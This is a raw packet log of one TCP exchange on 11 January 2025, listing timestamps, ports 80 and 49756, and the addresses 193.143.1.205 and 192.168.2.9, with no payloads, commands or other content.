Jan 11, 2025 06:14:13.543926954 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.543939114 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.543967009 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.544730902 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.544744015 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.544754982 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.544759989 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.544770956 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.544781923 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.544794083 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.544811964 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.544826984 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.548768997 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.554371119 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.568591118 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.568613052 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.568623066 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.568653107 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.568686008 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.597198009 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597270966 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597310066 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597317934 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.597346067 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597382069 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597389936 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.597417116 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597453117 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597455978 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.597506046 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597542048 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597579002 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.597579956 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597615004 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.597626925 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.626357079 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626415014 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.626491070 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626542091 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626575947 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626584053 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.626609087 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626642942 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626660109 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.626701117 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626737118 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626746893 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.626770020 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626806974 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626811028 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.626847982 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626882076 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626887083 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.626914024 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626949072 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.626955032 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.626981974 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.627023935 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.627027988 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.627032995 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.627072096 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.654956102 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655010939 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655046940 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655065060 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655081034 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655112982 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655132055 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655168056 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655203104 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655220032 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655237913 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655278921 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655289888 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655360937 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655397892 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655401945 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655426979 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655464888 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655467987 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655499935 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655534029 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655534029 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655666113 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655710936 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655806065 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655857086 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655893087 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655904055 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.655941963 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655976057 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.655999899 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656029940 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656035900 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656060934 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656088114 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656122923 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656136990 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656157970 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656193018 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656196117 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656243086 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656277895 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656281948 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656327963 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656363010 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656373978 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656395912 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656430006 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656481028 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656512022 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656517029 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656542063 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656548977 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656583071 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656598091 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656619072 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656661987 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656666040 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656698942 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656732082 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656737089 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656781912 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656816006 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656826019 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656848907 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656882048 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656887054 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656914949 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656948090 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.656955004 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.656980991 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657015085 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657021999 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.657049894 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657084942 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657093048 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.657118082 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657151937 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657161951 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.657186031 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657224894 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657227993 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.657259941 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657294035 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657305956 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.657326937 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657361984 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657372952 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.657394886 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657428980 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657434940 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.657461882 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657495975 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657511950 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.657531977 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.657567978 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.660403013 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660464048 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660475016 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660504103 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.660525084 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660558939 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660562038 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.660593033 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660629034 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.660643101 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660685062 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660728931 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660742044 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.660775900 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660823107 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660825014 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.660886049 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.660923004 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.660953999 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661020994 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661060095 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.661084890 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661130905 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661178112 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.661179066 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661221981 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661283016 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661284924 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.661312103 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661355019 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.661356926 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661418915 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661454916 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.661461115 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.663037062 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686026096 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686062098 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686083078 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686095953 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686131954 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686139107 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686166048 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686208010 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686212063 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686218977 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686254978 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686258078 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686441898 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686470032 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686481953 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686505079 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686522007 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686536074 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686542034 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686553001 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686568975 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686587095 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686599970 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.686604023 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686639071 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686652899 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.686958075 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.715158939 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715255022 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715290070 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715342999 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.715372086 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715409040 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715421915 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.715449095 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715461969 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715473890 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715487003 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715487003 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.715496063 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715509892 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715512991 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.715523005 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715533018 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.715533972 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715548038 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715559006 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715564966 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.715572119 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715580940 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.715607882 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.715635061 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.743801117 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.743864059 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744025946 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744231939 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744286060 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744430065 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744611025 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744628906 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744640112 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744647026 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744652033 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744673967 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744699955 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744709969 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744721889 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744734049 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744735956 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744745970 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744765043 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744780064 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744791985 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744792938 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744837999 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744864941 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744884968 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744905949 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744916916 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744920969 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744927883 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744937897 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744951010 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744961023 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744971037 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.744976044 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744987965 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.744997978 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745009899 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745016098 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745023012 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745034933 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745064020 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745229006 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745246887 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745258093 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745270967 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745281935 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745289087 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745292902 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745305061 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745311975 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745316982 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745330095 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745331049 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745340109 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745346069 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745356083 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745356083 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745368958 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745378017 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745381117 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745395899 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745418072 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745421886 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745429993 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745460987 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745472908 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745475054 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745484114 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745493889 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745507956 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745517015 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745527983 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745537043 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745538950 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745554924 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745564938 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745567083 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745577097 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745588064 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745593071 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745599985 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745611906 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745618105 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745621920 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745635033 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745640039 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745646000 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745656967 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745662928 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745670080 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745680094 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745717049 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745899916 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745917082 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745930910 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745944977 CET	80	49756	193.143.1.205	192.168.2.9
